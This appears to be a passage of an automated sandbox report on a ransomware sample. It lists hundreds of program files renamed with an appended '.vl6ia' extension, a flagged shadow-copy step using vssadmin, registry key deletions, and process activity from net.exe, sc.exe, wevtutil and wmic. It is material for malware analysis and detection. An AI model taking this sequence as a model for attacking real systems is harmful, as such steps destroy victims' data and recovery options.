File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-96_altform-unplated_contrast-white.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\LinkedInboxSmallTile.scale-400.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\lij.txt.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\2_20x20x32.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\GenericMailWideTile.scale-400.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\ccloud_retina.png.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_MAAAADAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c\SkypeApp\Assets\Images\image_placeholder.scale-125.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppPackageLargeTile.scale-200_contrast-white.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\SurfaceProfiles\canvas12oz_512x512_nm.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-36_altform-colorize.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\new-trigger-wiz.gif.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_GgAAABoAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-masterfs-nio2.xml.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_PgAAAD4AAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\sendforsignature.svg.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\de-de\ui-strings.js.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Outlook2019R_Retail-ppd.xrm-ms.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\QuickStyles\linesstylish.dotx.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_NAAAADQAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\Assets\contrast-black\SmallLogo.scale-100_contrast-black.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\LinkedInboxLargeTile.scale-100.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\images\themeless\mobile_scan_logo.svg.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ru-ru\ui-strings.js.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_LgAAAC4AAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\en-gb\ui-strings.js.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_CAAAAAgAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata_2.2.0.v20131211-1531.jar.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\org-netbeans-core-output2.xml_hidden.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Publisher2019R_Trial-pl.xrm-ms.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\976_32x32x32.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\in_60x42.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\lr_60x42.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-white_scale-100.png.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\PhotosWideTile.contrast-white_scale-100.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\GenericMailWideTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-black\HxCalendarSmallTile.scale-400.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\chrome-ext-2x.png.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_AgAAAAIAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\am_get.svg.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Themes\Western\mask\mask_corners_king.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteNotebookMedTile.scale-400.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\eg_16x11.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ru-ru\ui-strings.js.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\ant-javafx.jar.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PowerPoint2019R_Trial-pl.xrm-ms.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_LAAAACwAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe\resources.pri C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\Assets\toast.dualsim2.scale-200.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\HowToPlay\DailyChallenges\tile1_diamond.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\sa_60x42.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ta.txt.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_BAAAAAQAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\Office\ResetCoord.scale-100.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-40_contrast-white.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\OutlookMailMediumTile.scale-150.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\themes\dark\Confirmation.png.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_KAAAACgAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\vssadmin.exe N/A

Modifies registry class

Description Indicator Process Target
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3584 wrote to memory of 3956 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 3584 wrote to memory of 3956 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 3956 wrote to memory of 8 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3956 wrote to memory of 8 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3584 wrote to memory of 4292 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 3584 wrote to memory of 4292 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 4292 wrote to memory of 4180 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4292 wrote to memory of 4180 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3584 wrote to memory of 4208 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 3584 wrote to memory of 4208 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 4208 wrote to memory of 4372 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4208 wrote to memory of 4372 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3584 wrote to memory of 4452 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 3584 wrote to memory of 4452 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 4452 wrote to memory of 4344 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4452 wrote to memory of 4344 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3584 wrote to memory of 4352 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 3584 wrote to memory of 4352 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 4352 wrote to memory of 788 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4352 wrote to memory of 788 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3584 wrote to memory of 4484 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 3584 wrote to memory of 4484 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 4484 wrote to memory of 3748 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4484 wrote to memory of 3748 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3584 wrote to memory of 3352 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 3584 wrote to memory of 3352 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 3352 wrote to memory of 4248 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3352 wrote to memory of 4248 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3584 wrote to memory of 3280 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 3584 wrote to memory of 3280 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 3280 wrote to memory of 524 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3280 wrote to memory of 524 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3584 wrote to memory of 644 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 3584 wrote to memory of 644 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 644 wrote to memory of 1020 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 644 wrote to memory of 1020 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3584 wrote to memory of 956 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 956 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 1236 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 1236 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
